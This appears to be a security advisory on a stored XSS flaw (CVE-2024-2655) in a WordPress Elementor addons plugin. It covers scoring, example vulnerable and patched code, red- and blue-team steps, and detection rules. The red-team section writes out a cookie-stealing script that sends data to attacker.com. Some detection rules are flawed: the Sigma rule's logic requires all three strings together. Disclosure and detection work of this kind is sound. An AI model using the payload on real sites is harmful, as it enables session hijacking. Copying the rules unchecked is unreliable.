CVE-2024-2655

Executive Summary

CVE-2024-2655 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.5. The flaw resides in the plugin's Post widgets, where author display names are not properly sanitized or escaped before being stored and rendered. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who install the plugin from the repository or via automatic updates are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify the integrity of the plugin files and ensure they are obtained from trusted sources.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The attack is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Contributor-level access.
• User Interaction (UI): None – No user action is required for the script to execute.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS in a widely-used plugin makes it a significant risk for WordPress sites with multiple user roles.

Deep Dive & Mechanics

The vulnerability exists in the Post widgets provided by the Elementor Addons by Livemesh plugin. When rendering posts, the plugin retrieves the author's display name and outputs it directly into the HTML without proper sanitization or escaping. An attacker with Contributor-level access can create or edit a post and set their display name to a malicious JavaScript payload (e.g., <script>alert('XSS')</script>). When the Post widget renders this author name, the script is injected into the page and executed in the context of any user who views that page.

The root cause is insufficient input sanitization and output escaping on the author display name field. WordPress itself stores the display name, but the plugin fails to escape it when outputting in the widget. This is a classic stored XSS pattern.

Vulnerable vs. Patched Code

Vulnerable Code (example from version 8.3.5):

// In the Post widget template
echo get_the_author_meta('display_name', $post->post_author);

Patched Code (hypothetical fix):

// Properly escape the output
echo esc_html(get_the_author_meta('display_name', $post->post_author));

The fix involves wrapping the author display name with esc_html() to ensure any HTML or JavaScript is encoded before being rendered.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: Obtain Contributor-level credentials on a WordPress site running the vulnerable plugin.
2. Craft Payload: Set your display name to a malicious script, e.g., <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>.
3. Create/Edit Post: Create a new post or edit an existing one. Ensure the Post widget is used to display the author name.
4. Trigger: Wait for an administrator or other user to view the page. The script executes, exfiltrating cookies or performing other actions.

Lab Setup:

• Install WordPress with the Elementor Addons by Livemesh plugin version 8.3.5.
• Create a Contributor user and set their display name to a test payload.
• Create a page using the Post widget and assign the Contributor as the author.
• Visit the page as an administrator to observe the XSS.

Blue Team (Defense & Detection)

1. Monitor User Activity: Watch for unusual changes to user display names, especially those containing script tags or event handlers.
2. Web Application Firewall (WAF): Deploy rules to block common XSS patterns in user profile fields.
3. Content Security Policy (CSP): Implement a strict CSP to mitigate the impact of XSS.
4. Regular Audits: Scan for vulnerable plugin versions and apply patches immediately.

Indicators of Compromise (IOCs)

• Suspicious User Display Names: Display names containing <script>, onerror=, onload=, or other JavaScript event handlers.
• Unusual Outbound Requests: HTTP requests to external domains from the WordPress site, especially those containing cookie data.
• Modified Plugin Files: Changes to the plugin's template files, particularly those related to author display.
• Log Entries: WordPress audit logs showing display name changes by Contributor-level users.

Detection Engineering

YARA Rule

rule CVE_2024_2655_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress author display names"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2655"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2655 Stored XSS via Author Display Name
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in WordPress author display names
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress audit log event
        UserRole: "contributor"
        DisplayName|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in display names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2655 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"display_name"; nocase; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Elementor Addons by Livemesh plugin until a patched version is released.
2. Update: Apply the official patch from the vendor when available (check the WordPress plugin repository).
3. Workaround: Manually edit the plugin's template files to add esc_html() around the author display name output.
4. User Management: Restrict Contributor-level access to trusted users only.
5. Web Application Firewall: Deploy WAF rules to block XSS payloads in user profile fields.
6. Monitor: Continuously monitor for suspicious activity and apply the latest security updates.

Valters IT
Securing Digital Frontiers